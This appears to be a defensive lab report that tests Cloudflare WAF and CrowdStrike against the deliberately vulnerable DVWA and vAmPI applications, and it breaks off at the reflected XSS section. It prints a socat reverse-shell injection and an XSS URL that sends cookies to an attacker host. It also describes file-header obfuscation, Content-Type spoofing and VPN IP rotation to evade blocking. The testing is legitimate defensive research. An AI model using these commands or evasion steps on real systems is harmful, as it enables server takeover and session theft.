Defensive Labs: Securing the Most Vulnerable Web Applications Known To Mankind

Project Overview: Enhancing Web Security through Cloudflare and CrowdStrike Integration

In the evolving landscape of cyber threats, modern businesses rely extensively on web applications and APIs to deliver value to their customers. As the complexity and use of these platforms grow, so do the vulnerabilities that malicious actors can exploit. To counter this, businesses are increasingly relying on a combination of web application firewalls (WAFs) and advanced threat detection mechanisms.

This project was initiated with a singular vision: to test the combined might of two leading cybersecurity solutions – Cloudflare (WAF) and CrowdStrike Cloud Native Application Protection Platform (CNAPP)– against some of the most vulnerable web applications and API libraries that exist. By leveraging DVWA (Damn Vulnerable Web Application) and vAmPI (A vulnerable web API), platforms designed to be vulnerable for educational purposes, we aimed to create a worst-case scenario. The main thesis was to determine how well we can bolster the defenses of even the most vulnerable environments using only Cloudflare to shield web vulnerabilities and CrowdStrike to detect and mitigate application container and other system-level threats.

DVWA: https://github.com/digininja/DVWA
vAmPI: https://github.com/erev0s/VAmPI

During this study, we simulated a range of attacks, each inspired by the OWASP Top 20 vulnerabilities for web applications and APIs. Our objective was not just to identify where threats can penetrate, but also to fine-tune the configurations of both Cloudflare and CrowdStrike. The end goal is to establish a harmonized and robust security posture, which offers comprehensive protection for businesses, regardless of the inherent vulnerabilities that their web platforms might possess.

By understanding the strengths and potential gaps in the integration of these two cybersecurity platforms, we aim to provide valuable insights and best practice recommendations. This work will ensure that businesses can harness the full potential of their protective measures and maintain a resilient online presence in the face of growing cyber threats.

Importance of Understanding Web Application and API Vulnerabilities:
Bottom of Form Understanding web application and API vulnerabilities is of paramount importance in today’s interconnected digital landscape. As technology becomes increasingly ingrained in our daily lives, so does the reliance on web-based applications and APIs for various tasks, ranging from communication to financial transactions. However, this widespread reliance brings forth a new set of security challenges. A profound comprehension of these vulnerabilities is vital to safeguarding sensitive data, maintaining user trust, and preventing potentially catastrophic breaches.

By examining the intricacies of cross-site scripting (XSS), SQL injection, cross-site request forgery (CSRF), and other common vulnerabilities, developers and security professionals can proactively identify weak points in their systems. This proactive approach is essential because cyberattacks are evolving and becoming more sophisticated, aiming to exploit any weaknesses in the application’s code or communication pathways. Proficiency in vulnerability identification not only bolsters a company’s cybersecurity posture but also ensuresc compliance with industry standards and regulations.

Furthermore, because APIs serve as bridges between different systems, understanding their vulnerabilities becomes equally critical. By staying ahead of malicious actors and enhancing defensive strategies, businesses can better ensure the confidentiality, integrity, and availability of their digital assets. In essence, a comprehensive grasp of web application and API vulnerabilities is not just a technical requirement, but a fundamental pillar of digital resilience in our interconnected world.

• Attacker Machine:

• • Operating System: Kali Linux

• • • Version:2
    • Configuration: Standard Kali tool set with the addition of OWASP ZAP, Burp Suite, and Postman.
    • IP Address/Network Configuration: The Kali Linux machine connects to an OpenVPN server with the public IP address 54.241.213.189. Post connection, the machine is assigned a virtual IP of 172.27.232.5, and all its traffic is routed securely through this VPN tunnel.

• • Main Attack Tools Utilized:
    • Burp Suite:
      • Version: Burp Suite Community Edition 2023.6.2-21428
      • Configuration & Customizations: Proxy set to intercept traffic on port 8080
    • OWASP ZAP (Zed Attack Proxy):
      • Version:13.0
      • Configuration & Customizations: Used for automated scanning and fuzzing. Used interchangeably with Burp Suite.

• • Postman:
    • Version: 10.17.5
    • Configuration & Customizations: vAmPI json collection files imported for public, non-protected domain, and another for the Cloudflare protected domain.
      • Vampi.json
      • Vampi-cloudflare.json

• • Cymulate:
    • Version: Tests were running Sept-Oct. 2023
    • Configuration and Customizations: Cymulate’s Best Practice Assessment for WAF was the one in use. Just need to give Cymulate the website link to run assessment.

• • Connection & Traffic Routing:

• • • AWS OpenVPN Server:
      • Description: All traffic from our Kali machine was routed through an OpenVPN server hosted on AWS, providing an additional layer of obfuscation and ensuring that direct attack traffic did not originate from our local machine. Our Kali machine’s traffic was funneled through an AWS-hosted OpenVPN server, offering an extra layer of obfuscation.This setup ensured that the direct attack traffic wasn’t traced back to our primary device. One advantage was the capability to switch IP addresses if Cloudflare imposed a block. Although we initially attempted to channel our traffic via TOR, Cloudflare identified it as a potential attack vector, blocking all connections from Burp Suite funneled through TOR. Consequently, leveraging OpenVPN for rotating IP addresses proved to be the most efficient strategy.

• Attacker AWS Server Setup:

  • Instance Details:
    • Type: Amazon Linux 2 (t2.micro)
    • Configuration: 1 vCPU, 1GiB of memory
    • Region & Availability Zones: us-west-1a
    • Additional AWS Services/Features Used: Configuration of AWS security groups to allow access of ALL IPs on ALL ports just to make sure there are no issues with connecting reverse shells or serving files in the demonstrations. Machine is utilized to help carry out cookie stealing, backdoors, and file serving in the demos throughout this experiment.

• AWS Web Server Setup:

  • Instance Details:
    • Type: Amazon Linux 2 (t2.micro)
    • Configuration: 1 vCPU, 1GiB of memory
    • Region & Availability Zones: us-west-1b
    • Additional AWS Services/Features Used: Configuration of AWS security groups to allow access of all IPs on ports 80 and 443, as well as port 2052 for connections to vAmPI. Also needed to allow access for Cloudflare servers to ports 80 and 2052 (Cloudflare server IPs: https://www.cloudflare.com/ips/). Same goes for allowing access to CrowdStrike servers on port 443 (CrowdStrike server IPs: Refer to Appendix).

• Docker:

  • Version: 20.10.23
  • DVWA Docker Image Details:
    • Image Name: vulnerables/web-dvwa
    • Version: N/A pulled from digininja/DVWA git repo on 06/15/2023
    • Configuration & Customizations: For information on installing the service as a docker container refer to the documentation: https://github.com/digininja/DVWA
      • Had to configure Cloudflare to direct requests to our domain verycoollabexperiment.net to the AWS instance through creating a Type A DNS record. Also needed to install and configure CrowdStrike to run on this container.
  • vAmPI Docker Image Details:
    • Image Name: erev0s/vampi
    • Version: N/A pulled from erev0s/VAmPI git repo on 06/15/2023
    • Configuration & Customizations: For information on installing the service as a docker container refer to the documentation: https://github.com/erev0s/VAmPI
      • Had to configure Cloudflare to direct requests to our domain verycoollabexperiment.net to the AWS instance through creating a Type A DNS record. Also needed to install and configure CrowdStrike to run on this container.

• Services:

  • DVWA:
    • Description: Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is intentionally vulnerable. Its main goals are to aid security professionals to test their skills and tools in a legal environment, and to help web developers better understand the processes of securing web applications.
    • Endpoints/URLs:
      • /
      • /vulnerabilities/brute/
      • /vulnerabilities/exec/
      • /vulnerabilities/csrf/
      • /vulnerabilities/upload/
      • /vulnerabilities/sqli/
      • /vulnerabilities/xss_d/
      • /vulnerabilities/xss_r/
      • /vulnerabilities/xss_s/
      • /vulnerabilities/javascript/

• • vAmPI:
    • Description: VAmPI is a vulnerable API made with Flask and it includes vulnerabilities from the OWASP top 10 vulnerabilities for APIs. It was created as a vulnerable API to evaluate the efficiency of tools used to detect security issues in APIs.
    • Endpoints/URLs:
      • /
      • /users/v1
      • /users/v1/_debug
      • /users/v1/register
      • /users/v1/login
      • /users/v1/{username}
      • /users/v1/{username}/email
      • /users/v1/{username}/password
      • /books/v1
      • /books/v1/{book}

• Security & Monitoring Tools:

  • CrowdStrike:
    • Version/Build: falcon-sensor-6.57.0-15402.amzn2.x86_64.rpm
    • Configuration & Customizations: CrowdStrike connected to docker containers for DVWA and vAmPI. Also connected CrowdStrike to our container registry to scan for any current known vulnerabilities in the containers.
  • Cloudflare WAF:
    • Version/Build: N/A used from 06/23 – 11/23
    • Configuration & Customizations: Used the out-of-the-box rulesets “Cloudflare Managed Ruleset”, “OWASP Core Ruleset”, and “Leaked Credentials Check” ruleset. Configured WAF to point domain name to AWS public ip hosting the website. Configured the API shield to have visibility over our API endpoints.

DVWA – Emulating OWASP Top 10 Web Application Vulnerabilities:

The Open Web Application Security Project (OWASP) plays an instrumental role in the cybersecurity landscape with its emphasis on improving software security. The OWASP Top 10 list serves as a benchmark, identifying the most critical web application security risks faced by organizations. Composed through widespread consensus and rigorous analysis, this list provides insights into vulnerabilities that are not only prevalent but also pose significant threats due to their potential impact.

For our study, we employed the Damn Vulnerable Web Application (DVWA) as our experimental platform. Crafted to be deliberately insecure, DVWA presents an invaluable environment for understanding, replicating, and mitigating web application vulnerabilities.

A pivotal aspect of our project was the dual-pronged approach to attack simulations:

1. Domain Attack via verycoollabexperiment.net: This domain, safeguarded by the Cloudflare WAF, provided a real-world scenario of how web applications shielded by state-of-the-art WAFs respond to prevalent threats.
2. Direct AWS Instance Attack: In contrast, we also launched attacks directly against the AWS instance’s public IP address. Bypassing the protective layer of the Cloudflare WAF, this allowed us to gauge the raw vulnerability of our setup and understand the intrinsic value added by the WAF.

Through DVWA, our objectives were clear:

• Education & Awareness: By utilizing DVWA, our team delved into the core of each vulnerability, grasping their origins, implications, and mitigation strategies.
• Comprehensive Attack Simulation & Defense Assessment: Using DVWA as the battleground, we orchestrated controlled attacks aligned with the OWASP Top 10. The simultaneous assessment of both the protected domain and the raw AWS instance painted a holistic picture of our defensive capabilities, shedding light on Cloudflare’s and CrowdStrike’s effectiveness, potential defense gaps, and areas for configuration enhancement.

vAmPI – Emulating OWASP Top 10 API Vulnerabilities:

The Open Web Application Security Project (OWASP) plays a crucial role in the evolution of the cybersecurity landscape, and with the rise of APIs in modern applications, it’s evident that traditional web application vulnerabilities are only part of the equation. OWASP’s dedication to identifying the most significant security risks has led to the creation of a specific Top 10 list for APIs, illuminating the unique threats these interfaces face. For this phase of our study, we employed the Vulnerable API platform, vAmPI, tailored to be intentionally weak against API specific threats. This platform serves as a perfect arena to grasp, replicate, and study API vulnerabilities.

Our exploration strategy using vAmPI was dual-faceted:

1. Domain Attack via verycoollabexperiment.net: With our domain fortified by Cloudflare WAF, we assessed the resilience of APIs when they’re defended by contemporary WAF solutions.
2. Direct AWS Instance Attack: Additionally, we initiated attacks directly aimed at the AWS instance’s public IP. Bypassing Cloudflare WAF, this approach was designed to understand the unshielded vulnerabilities inherent in our API setup.

Using vAmPI, our objectives were twofold:

• Education & Awareness: By leveraging vAmPI, our team dove deep into each API vulnerability, fathoming their roots, implications, and strategies for mitigation.
• Comprehensive Attack Simulation & Defense Assessment: Using vAmPI as the testing ground, we orchestrated attacks in line with the OWASP Top 10 for APIs. By evaluating both the domain secured by the WAF and the raw AWS instance, we acquired a complete understanding of our security posture, gaining insights into the efficacy of both Cloudflare and CrowdStrike, identifying any defense shortcomings, and discerning potential areas for bolstered configurations.

Cymulate – Breach and Attack Simulation

Amidst our extensive security analyses, the combined strength of Cloudflare WAF and CrowdStrike’s Cloud Workload Protection revealed a few areas of potential weakness. Despite the impressive efficacy of Cloudflare’s Managed Ruleset, certain payloads managed to breach our defenses. This warranted a deeper dive, and thus, we turned to Cymulate, a renowned Breach and Attack simulation software. Cymulate stands out for its capability to automate a myriad of attacks, identifying chinks in the armor across platforms such as EDRs, WAFs, and email security systems. Our specific focus for this endeavor was to rigorously test Cloudflare WAF using Cymulate’s Breach and Attack Assessments.

Our systematic approach to this investigation was iterative:

1. Baseline Assessment on DVWA: We initiated our analysis with a comprehensive assessment of our DVWA website using Cymulate’s Best Practice guidelines. This assessment was performed on a domain devoid of any Cloudflare protection. The objective was to unmask the inherent vulnerabilities of our website.
2. Implementation and Testing of Cloudflare’s Managed Ruleset: Post the baseline assessment, we integrated Cloudflare’s Managed Ruleset into its WAF. A subsequent Cymulate assessment was then launched to discern which threats were mitigated and which managed to bypass Cloudflare’s default rules.
3. Custom Rules Development with Python: Considering the vulnerabilities discovered, we designed a Python tool tailored to parse through both thwarted and successful attacks. The tool, employing the insights gleaned, curated and appended new rules to the WAF based on the payloads that had successfully infiltrated our defenses.
4. Iterative Enhancement: This cyclical process of assessment and rules refinement was repeated several times. With each iteration, our rules grew in strength and precision, inching closer to an impervious defense. By the conclusion of our fourth cycle, we achieved a defensive posture robust enough to repel almost all threats identified by Cymulate’s assessments.

The subsequent sections detail each simulated attack, the methodologies adopted, tools utilized, observed outcomes, and the resulting insights and recommendations.

1.  Brute Force Login

Description:

A brute force login attack is a trial-and-error method utilized by attackers to gain unauthorized access to a system or account. They employ automated tools to systematically guess passwords, often initiating with common phrases before delving into all conceivable combinations. Although this strategy can be tedious, it becomes particularly effective against systems with subpar security precautions.

In our scenario, on a self-hosted DVWA website, the same concept was applied. To gain access to an administrator account, we harnessed Burp Suite’s Proxy to interface with the web application, subsequently directing our efforts towards /vulnerabilities/brute/. By inputting dummy data, we facilitated the interception of our request by Burp Suite. Leveraging this intercepted request, we then subjected the ‘username’ and ‘password’ variables present in the URL to a fuzzing process via Burp Suite Intruder, utilizing the pitchfork attack type. The objective was to identify a valid username and password, with a successful breach in our demo being signified by a response length of 4704 allowing us to harvest the valid credentials, using them to sign in as the victim.

Tools Used:

• Burp Suite: A popular tool for web security testing. It provides a suite of tools including a Proxy, Intruder, and more, allowing for various web application attack techniques.
  • Proxy: Used to intercept and analyze traffic between the client (browser) and the web application.
  • Intruder: A feature within Burp Suite that automates custom attacks against web applications. We utilized it to fuzz input data and attempt various combinations.
    • Username wordlist: commonUserNames.txt
    • Password wordlist: worstPasswords-500.txt

Methodology:

• Endpoint Discovery: Accessed the /vulnerabilities/brute/ endpoint of the DVWA application.
• Data Input & Interception: Dummy data was entered into the input fields to initiate a request, which was then intercepted using Burp Suite’s Proxy.
• Request Fuzzing with Intruder:
  1. Utilized Burp Suite Intruder’s “Pitchfork” attack mode. This mode allows for simultaneous input of multiple payloads in different positions.
  2. Two wordlists were used: one for ‘username’ and one for ‘password’ (Refer to Tools Section for wordlists).
  3. The goal of this fuzzing was to iterate through potential combinations until a valid pair was discovered.

Success Criteria: A successful attack would be identified by receiving a response with a length of 4704 indicating the credentials found are valid.Top of Form We then use the credentials found to login as the victim user.

Results:

Attack on Direct Public IP Address:

• • Outcome: Successful
  • Details: During the attack on the direct public IP address, which lacked Cloudflare protection, our efforts led to a positive result. Utilizing the methodology outlined in the previous section, we managed to exploit the vulnerable endpoint and successfully exfiltrate both the username and password, signified by the response length of 4704, and sign in as the victim. This result emphasizes the critical role that protective layers play in safeguarding web applications and their data.
  • Attack Demo: DVWA-BruteForce-ip.mov

Attack on Domain Name with Cloudflare Protection:

• Outcome: Unsuccessful
  • Details: In sharp contrast to our attack on the direct IP, our attempt to breach the domain name, which was fortified with Cloudflare’s protective measures, proved futile. With Cloudflare’s request limiting rules each request made by Burp Suite’s Intruder on the attacker’s machine was blocked by Cloudflare. This effectively rendered our attempts to exfiltrate the username or password impossible. Cloudflare’s robust defensive mechanisms showcased their ability to prevent automated attack tools.Top of FormBottom of Form
  • Attack Demo: DVWA-BruteForce-cloudflare.mov

2.  Command Injection

Description:

Command injection, often deemed one of the most destructive attack vectors, is a technique employed by adversaries to execute arbitrary commands on a host operating system through a vulnerable application. These malicious commands are generally executed with the privileges of the vulnerable application, which, when elevated, can wreak havoc on the system.

In our DVWA study, our attention shifted to the /exec/ endpoint – a seemingly innocuous feature designed to ping an IP address. Exploiting this, by appending a semicolon followed by any command (like uname) to the IP address, resulted in the arbitrary execution of that command on the web server. This established the presence of a command injection vulnerability. Subsequently, in order to gain a foothold, we injected a socat reverse shell command, attempting to establish a backdoor connection to our AWS ubuntu server, acting as our attacker’s server.

Tools Used:

• socat: A multipurpose relay, adept for creating bidirectional byte streams. It was utilized to establish a reverse shell connection from the vulnerable DVWA server to the Kali machine.
  • socat command injected: “socat tcp-connect:52.9.104.74:4444 exec:sh,pty,stderr,setsid,sigint”
• OWASP ZAP (Zed Attack Proxy): A free security tool actively maintained by the Open Web Application Security Project (OWASP). It’s used for finding vulnerabilities in web applications. In our study, it was employed to automate a multitude of command injection attacks, helping us discern Cloudflare’s behavioral patterns in blocking or allowing certain command injections.
• AWS Ubuntu Attack Server: Simple AWS Ubuntu instance utilized to listen for incoming connections from backdoor connections using socat in this lab scenario. 

Methodology:

• Endpoint Discovery: Navigated to the /vulnerabilities/exec/ endpoint of DVWA.
• Basic Command Injection: Injected a simple command, uname, post a semicolon after the IP address to validate the vulnerability’s existence.
• Reverse Shell Exploitation: To go beyond mere confirmation and to gain deeper access:
  1. For the attack, we configured a listener on port 4444 using socat on our AWS Ubuntu server, serving as our attacker’s command and control center.
  2. On the DVWA’s /exec/ endpoint, a socat reverse shell command was injected to connect back to our AWS listener.

Success Criteria: A successful exploitation would result in a direct connection to our AWS machine, signifying we’ve gained control of the DVWA server to some extent.

Results:

Attack on Direct Public IP Address:

• Outcome: Unsuccessful
• Details: During our command injection attack evaluation on the direct public IP, we encountered an obstacle where the reverse shell failed to connect with our attack server. On a deeper investigation, we discovered that CrowdStrike, operational on our website’s container, halted the reverse shell’s process. This intervention by CrowdStrike made it impossible to establish a backdoor connection to the web server, as illustrated in the “Attack Demo” video. For a clearer understanding, we executed the attack on a locally hosted DVWA without any protection, depicted in the “Attack Demo Control” video, to demonstrate the anticipated outcome of a successful breach.
• Attack Demo Control: DVWA-CommandInject-ip-control.mov
• Attack Demo: DVWA-CommandInject-ip.mov

Attack on Domain Name with Cloudflare Protection:

• Outcome: Partially Successful
• Details: During our command injection attempt on the domain fronted by Cloudflare, we encountered a noteworthy sequence of events. Although Cloudflare did not detect and block our malicious ‘socat’ injection, the CrowdStrike solution running on the containers stepped in, preventing the command’s execution. Just as we were about to establish a reverse shell connection, CrowdStrike acted decisively, terminating the connection attempt. This intervention reinforces the importance of a layered security approach. Even if one defensive measure (in this case, Cloudflare) is bypassed, another (CrowdStrike) can still act as a safeguard. This scenario exemplifies the principles of a defense-in-depth strategy, where multiple security layers work in tandem to ward off threats.

To delve deeper into Cloudflare’s defensive mechanisms, we used OWASP ZAP to launch an automated attack campaign (Automated Attack Demo). The results revealed that while Cloudflare blocked most of the injection payloads, it wasn’t infallible. Several specific payloads did bypass its defenses, as listed below:

• !
• (
• grant connect to name; grant resource to name;
• |
• )
• |
• *|
• !
• admin*
• &
• A

NOTE: All payloads administered can be found below in “Attempted Automated Payloads”.

Upon closer inspection of the payloads that were permitted, we observed that many resemble strings frequently encountered in URLs. This suggests that Cloudflare might allow them to ensure uninterrupted web operations. While this decision may enhance user experience, it inadvertently creates potential vectors for exploitation. Our effort to capitalize on this by injecting the ‘socat’ command serves as a case in point. Although Cloudflare might have been lenient with certain payloads, CrowdStrike’s defenses proved more robust, halting our attack.

Cloudflare’s apparent strategy seems geared towards minimizing false positives. The decision to allow certain payloads, especially those common in legitimate web traffic, highlights Cloudflare’s efforts to strike a balance between security and usability. Overzealous blocking could hamper legitimate web functions and degrade user experience. This nuanced stance showcases the intricate challenges Web Application Firewalls face: offering solid protection without hindering web application performance and utility.

• Attempted Automated Payloads: OWASPZAPCommandInjections.txt
• Attack Demo: DVWA-CommandInject-cloudflare.mov
• Automated Attack Demo: DVWA-CommandInject-cloudflare-automated.mov

3.  Cross Site Request Forgery (CSRF)

Description:
Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into submitting a malicious request, usually performed without the user’s knowledge. The attacker leverages the trust that a legitimate website has in the victim’s browser to carry out unauthorized actions. For this demonstration, we exploit DVWA’s CSRF vulnerability combined with a file upload tactic, demonstrating the potency of chained vulnerabilities.

In our scenario on a self-hosted DVWA website, we first focused on the /vulnerabilities/csrf/ and /vulnerabilities/upload/ endpoints. To exploit these pages on high security settings, we used the file upload feature to plant a malicious .html file. When an unsuspecting victim accesses this file, it captures the user’s cookie, crafts a malicious URL that changes the victim’s password, and then promptly executes this URL (Exploit file: CSRF-exploit.html).

To bypass Cloudflare’s stringent security checks on the domain, we resorted to obfuscating our malicious .html file to masquerade it as a benign .png file. This involved altering the header hex values and changing the file extension. However, when set to low security for the unprotected domain, the malicious file upload was more straightforward, leading us to the CSRF part of the attack.

The hallmark of a successful CSRF attack in this case was an unauthorized password change after the victim accesses the disguised link to the uploaded file.

Key Findings:

In our extensive testing, a notable observation emerged concerning how Cloudflare addresses CSRF attacks. Cloudflare does not proactively block CSRF attacks. This can be attributed to the nature of CSRF, which capitalizes on a website’s trust in a user’s browser, rather than a direct flaw in the site itself. Essentially, a CSRF attack disguises itself within a valid user session, making it difficult for Cloudflare or any other Web Application Firewall (WAF) to distinguish the malevolent request from a legitimate one solely based on its content.

This highlights a potential vulnerability: should an attacker successfully pilfer an authentication cookie; they could craft a malicious link and entice the unsuspecting victim into unintentionally altering their data. Yet, our endeavors were stymied by Cloudflare’s prowess in safeguarding against cookie theft. Had we acquired a cookie, our attempts to weaponize it by constructing malicious links would have gone undetected by Cloudflare. This suggests that Cloudflare’s primary defense against CSRF focuses on countering the preliminary actions that enable the attack. Such a strategy underscores the pivotal role of in-built website defenses against CSRF. Essentially, Cloudflare’s measures are designed to enhance, rather than substitute, security at the application level.

Cloudflare’s anti-CSRF capabilities become more evident in our detailed attack demo below, where we attempted to execute the CSRF attack by exploiting a separate vulnerability: file upload. Cloudflare’s ability to halt our advanced attack sequence not only speaks to the sophistication of its firewall but also accentuates the indispensable need for robust website-level protections.

Tools Used:

• Hex Editor: Utilized to modify the header values of files for obfuscation when attacking the protected domain.
• CSRF-exploit-ip.png: CSRF-exploit-ip.png

Methodology:

• File Upload and Obfuscation: To try to bypass higher security settings and to further test Cloudflare’s capabilities, we transformed our .html file’s headers and extension to mimic a .png file. For the direct IP attack, we simply uploaded the .html file to show the full spectrum of the attack on an unprotected endpoint.
• CSRF Exploitation: After a successful file upload, a typical attacker would rely on social engineering techniques to lure the victim into accessing the disguised file. For lab purposes we simply acted as the victim and accessed the malicious link. Once accessed, the file would silently capture the victim’s cookie, construct a malicious URL intended to alter the victim’s password, and then execute this URL.

Success Criteria: A successful attack would be indicated by:

1. Successful upload of the obfuscated malicious file to the /vulnerabilities/upload/ endpoint.
2. Successful execution of the embedded code within the uploaded file, leading to the theft of the victim’s session cookie.
3. Successful modification of the victim’s account password, confirming the CSRF attack’s effectiveness.

Results:

Attack on Direct Public IP Address:

• Outcome: Successful
• Details: When targeting the unprotected IP/domain, both stages of our attack succeeded. We were able to upload the disguised file and subsequently change the victim’s password using CSRF, validating the efficacy of our exploit chain in a less secure environment.

Attack Demo: DVWA-CSRF-ip.mov

Attack on Domain Name with Cloudflare Protection:

• Outcome: Unsuccessful
• Details: Cloudflare’s defenses proved to be robust. Despite our best efforts at obfuscating the malicious file to evade high-security checks, Cloudflare detected and blocked its upload. As this file upload was a prerequisite for our CSRF attack, our entire exploit chain was effectively neutralized. This demonstrates the robustness of Cloudflare’s protective measures against even sophisticated evasion attempts.

Attack Demo: DVWA-CSRF-cloudflare.mov

4.  SQL Injection (SQLi)

Description:

SQL Injection (SQLi) is a prominent web-based attack vector, targeting data-driven applications by inserting malicious SQL code into query strings. This unscrupulous tactic allows attackers to execute arbitrary SQL queries against a database, leading to potential unauthorized viewing of data, corrupting or deleting data, and in certain scenarios, executing administration operations on the database. Given its potential severity, we aimed to understand how Cloudflare stood up to such an attack.

In this exercise, we utilized OWASP ZAP to automate the SQLi assault, opting for fuzzing as our primary method of exploitation. Our focal point was the DVWA /vulnerabilities/sqli/ endpoint, where we endeavored to manipulate the id= segment of the URL to discern the database’s vulnerability to SQLi.

Tools Used:

• OWASP ZAP: A free security tool actively maintained by the Open Web Application Security Project (OWASP). It’s used for finding vulnerabilities in web applications. In our study, it was employed to automate a multitude of SQL injection attacks.
  • Proxy: Integrated within OWASP ZAP, this tool was employed to catch and modify traffic between our browser and the DVWA application.
  • Fuzzer: A feature within OWASP ZAP, this was used to introduce a multitude of SQLi payloads into the intercepted request, aiming to evoke a vulnerability within the application.

Methodology:

• Endpoint Navigation: Made our way to the /vulnerabilities/sqli/ endpoint within DVWA.
• Data Introduction & Traffic Interception: By feeding the input field arbitrary data, a request was initiated and subsequently captured by ZAP’s proxy.
• Fuzzing the Request:
  • The “id=” parameter within the intercepted URL was earmarked for exploitation.
  • We loaded SQLi-specific payloads into ZAP’s fuzzer and set it in motion.
  • The aim was to monitor the server’s responses and pinpoint successful SQLi payload execution.

 Success Criteria: A triumphant SQLi attack would be signified by the unwarranted extraction of database contents directly tied to the injected payload.

Results:

Attack on Direct Public IP Address:

• Outcome: Successful
• Details: When the offense was channeled towards the unprotected IP, the SQLi attack successfully pulled information from the database. We then demonstrated the outputs on the successful injections in the video below. The absence of protective measures like Cloudflare accentuated the system’s vulnerability to such assaults.
• Attack Demo: DVWA-SQLInject-ip.mov

Attack on Domain Name with Cloudflare Protection:

• Outcome: Unsuccessful
• Details: Targeting the Cloudflare-protected domain yielded intriguing outcomes. Like our findings in the Command Injection attack, while Cloudflare demonstrated blocking many of our sophisticated and more malicious payloads, it did allow payloads resembling characters commonly found in URLs. This indicates a possibility that Cloudflare aims to minimize false positives, ensuring legitimate operations aren’t disrupted. However, this could inadvertently open a window for attackers to craft payloads that can bypass Cloudflare, acting as potential attack vectors.
• Attack Demo: DVWA-SQLInject-cloudflare.mov

5.  PHP File Upload

Description:

File upload vulnerabilities allow attackers to upload malicious files into a web server. By exploiting these vulnerabilities, attackers can carry out activities such as executing code, creating backdoors, and initiating reverse shell connections to potentially compromise the server and gain control over it.

In our scenario, we targeted our AWS-hosted DVWA website and aimed to upload a malicious PHP backdoor file. This file, when accessed, would establish a reverse shell connection from the web server to our attack server. To carry out this attack, we adopted obfuscation techniques, including modifying file headers and manipulating the “Content-Type” tag during the upload process.

Tools Used:

• OWASP ZAP: A tool used for intercepting and manipulating web requests. We leveraged it to change the “Content-Type” tag during our attack to bypass certain security mechanisms.
• Hex Editor: Utilized to manually alter the header of our malicious file to impersonate a .png file.
• PHP File to Upload: backdoor.php

Methodology:

• Endpoint Discovery: We targeted the /vulnerabilities/upload/ endpoint of the DVWA application.
• File Preparation: Crafted a malicious PHP backdoor file intended to create a reverse shell connection upon execution.
• File Obfuscation:
  • Using a Hex Editor, we altered the header of our PHP file to resemble that of a .png.
  • The file extension was also changed to “.png”.
• Uploading the File:
  • Used OWASP ZAP to intercept the upload request.
  • Modified the “Content-Type” to “image/png” to deceive basic server-side checks.
• Exploitation:
  • Accessed the uploaded file through the web interface to initiate the reverse shell.
  • Our attack server listened for the incoming connection on a specified port.

Success Criteria: A successful attack would be indicated by:

1. The successful upload of the malicious file to the targeted endpoint.
2. The ability to access and execute the malicious file, leading to a reverse shell connection from the DVWA server to our attack server.

Results:

Attack on Direct Public IP Address:

• Outcome: Successful
• Details: The experiment revealed a critical vulnerability when not utilizing Cloudflare’s Web Application Firewall (WAF). The test showed that the backdoor.php file was uploaded seamlessly and without triggering any alarms, which was within our expectations given the lack of a WAF. Surprisingly, a successful connection was established from our attacker machine to the web server hosting the DVWA site, which was not anticipated. Our initial assumption was that CrowdStrike’s defense mechanisms would prevent such unauthorized connections. Although the initial connection to the backdoor was successful, subsequent actions that can be more overtly malicious in nature—such as lateral movement or privilege escalation—can be effectively thwarted by CrowdStrike.
• Attack Demo: DVWA-FileUpload-Backdoor-ip.mov

Attack on Domain Name with Cloudflare Protection:

• Outcome: Unsuccessful
• Details: Cloudflare’s defenses effectively thwarted our file upload attempts by detecting and blocking the malicious file, despite the use of sophisticated obfuscation methods, such as modifying file headers and altering the ‘Content-Type’ tag. This highlights Cloudflare’s robust protection against file upload attacks. The experiment also illustrates the critical need for multiple security layers; without Cloudflare’s WAF, relying solely on backend solutions like CrowdStrike might leave the system vulnerable. The presence of Cloudflare’s WAF was decisive, providing a fail-safe when other security measures were bypassed.
• Attack Demo: DVWA-FileUpload-cloudflare.mov

6.  DOM based Cross-Site Scripting (XSS)

Description:

DOM Cross-Site Scripting (DOM-XSS) is a client-side code injection attack where the attacker tricks the user’s browser into running malicious JavaScript in the context of a trusted domain. The essence of this attack revolves around manipulating the Document Object Model (DOM) of a web page, often leveraging user input that’s not properly sanitized. Our interest was to see how Cloudflare’s defense mechanisms would respond to such threats, especially since DOM-XSS targets the user’s browser directly rather than the server.

Tools Used:

• Browser’s Developer Tools: In-built browser tools were used to monitor and manipulate the DOM to understand how the application processed input.
• Netcat: A computer networking utility which can read and write data across network connections, using TCP or UDP protocol. We utilized Netcat to listen for incoming connections on our attacker server.
• URL Encoding: Technique employed to obfuscate the payload, making it less detectable to web filters or firewalls. 

Methodology:

• Endpoint Navigation: Navigated to the /vulnerabilities/xss_d/ endpoint.
• Manipulating Dropdown Menu: Selected a value from the dropdown menu on the specified endpoint to generate a modifiable URL.
• Obfuscating Payload: Used URL encoding techniques to mask our payload, intending to bypass potential filters.
• Payload Insertion: Modified the URL to introduce our XSS payload designed to exfiltrate the user’s cookie.

Success Criteria: A successful DOM-XSS attack would be represented by the theft of the user’s cookie and its transmission to our attacker server.

Results:

Attack on Direct Public IP Address:

• Outcome: Successful
• Details: When the attack was directed towards the unprotected IP using the URL:

[https://13.52.127.120/vulnerabilities/xss_d/?#?default=%3script%3Ewindow.location=’http://52.9.104.74:4444/?cookie=’ + document.cookie%3C/script%3E]

It resulted in successful exfiltration of the user’s cookie. We observed the stolen cookie on our netcat listener, highlighting the domain’s vulnerability to DOM-XSS in the absence of protective measures like Cloudflare.

• Attack Demo: DVWA-DOMXSS-ip.mov

Attack on Domain Name with Cloudflare Protection:

• Outcome: Unsuccessful
• Details: When we targeted the Cloudflare-protected domain, the results were markedly different. The XSS attempt was outright blocked, showing Cloudflare’s efficacy in preventing such attacks. This underscores the importance of using such protective layers, as they add a crucial barrier against client-side attacks like DOM-XSS.
• Attack Demo: DVWA-DOMXSS-cloudflare.mov
• Automated Attack Demo: DVWA-DOMXSS-cloudflare-automated.mov

7.  Reflected Cross-Site Scripting

Description:

Reflected XSS is an attack vector where the injected malicious script is reflected off a web server, such as in a search result or error message, and executed immediately without being stored. A successful Reflected XSS attack can lead to a variety of malicious activities, from stealing sensitive information, like cookies, to defacement of the webpage. Given the direct nature of the attack, it requires a victim to click on a crafted link containing the payload.

In our DVWA examination, our scope centered on the /vulnerabilities/xss_r/ endpoint. Initially, a basic script injection test was conducted using “<script>alert(“Hacked”)</script>” to determine vulnerability. While the website’s security prevented the script’s execution, it failed to block the subsequent obfuscated injection. This emboldened us to proceed with a more intricate exploit: redirecting the victim’s cookies to our AWS instance.

Tools Used:

